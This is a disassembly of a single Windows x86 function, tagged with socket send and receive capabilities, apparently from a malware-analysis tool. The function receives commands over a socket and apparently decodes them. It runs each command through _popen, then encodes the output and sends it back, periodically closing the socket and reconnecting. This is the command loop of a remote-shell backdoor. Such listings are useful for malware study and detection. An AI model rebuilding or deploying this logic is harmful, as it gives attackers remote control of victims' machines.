Function at 0x401320
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402530
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1830
call fcn.004024e0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, ecx
mov dword [ebp - 0x1834], edx
nop dword [eax]
push 0
push 0x800
lea eax, [ebp - 0x1018]
push eax
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov ecx, dword [0x40543c]
mov esi, eax
inc ecx
mov dword [0x40543c], ecx
cmp ecx, 5
jle 0x4013be
push dword [ebp - 0x1834]
call dword [sym.imp.WS2_32.dll_closesocket]
call fcn.00401250
mov edx, eax
mov dword [0x40543c], 0
mov dword [ebp - 0x1834], edx
jmp 0x401370
lea ecx, [ebp - 0x1018]
call fcn.00401170
mov edx, dword [ebp - 0x1834]
test esi, esi
jle 0x401370
lea eax, [ebp - 0x1018]
push 0x4031f4
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov edx, dword [ebp - 0x1834]
mov edi, eax
add esp, 8
mov dword [ebp - 0x1838], edi
test edi, edi
je 0x401370
xorps xmm0, xmm0
mov dword [ebp - 0x1820], 0
movups xmmword [ebp - 0x1830], xmm0
mov dword [ebp - 0x181c], 0xf
mov byte [ebp - 0x1830], 0
push edi
lea eax, [ebp - 0x818]
mov dword [ebp - 4], 0
push 0x800
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
add esp, 0xc
test eax, eax
je 0x4014f3
nop dword [eax + eax]
lea esi, [ebp - 0x818]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x401460
mov edx, dword [ebp - 0x181c]
sub esi, ecx
mov ecx, dword [ebp - 0x1820]
mov eax, edx
sub eax, ecx
push esi
cmp esi, eax
ja 0x4014b5
lea eax, [ecx + esi]
cmp edx, 0xf
mov dword [ebp - 0x1820], eax
lea edi, [ebp - 0x1830]
cmova edi, dword [ebp - 0x1830]
lea eax, [ebp - 0x818]
add edi, ecx
push eax
push edi
call sub.VCRUNTIME140.dll_memmove
mov byte [edi + esi], 0
add esp, 0xc
mov edi, dword [ebp - 0x1838]
jmp 0x4014d5
lea eax, [ebp - 0x818]
mov byte [ebp - 0x183c], 0
push eax
push dword [ebp - 0x183c]
lea ecx, [ebp - 0x1830]
push esi
call fcn.00401640
push edi
lea eax, [ebp - 0x818]
push 0x800
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
add esp, 0xc
test eax, eax
jne 0x401450
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
add esp, 4
lea eax, [ebp - 0x1830]
cmp dword [ebp - 0x181c], 0xf
cmova eax, dword [ebp - 0x1830]
push eax
lea eax, [ebp - 0x1818]
push 0x800
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
lea ecx, [ebp - 0x1818]
call fcn.00401170
push 0
push 0x800
lea eax, [ebp - 0x1818]
push eax
push dword [ebp - 0x1834]
call dword [sym.imp.WS2_32.dll_send]
mov edx, dword [ebp - 0x1834]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x181c]
cmp ecx, 0xf
jbe 0x401370
mov edx, dword [ebp - 0x1830]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401589
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40159e
push ecx
push edx
call fcn.004017da
mov edx, dword [ebp - 0x1834]
add esp, 8
jmp 0x401370
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3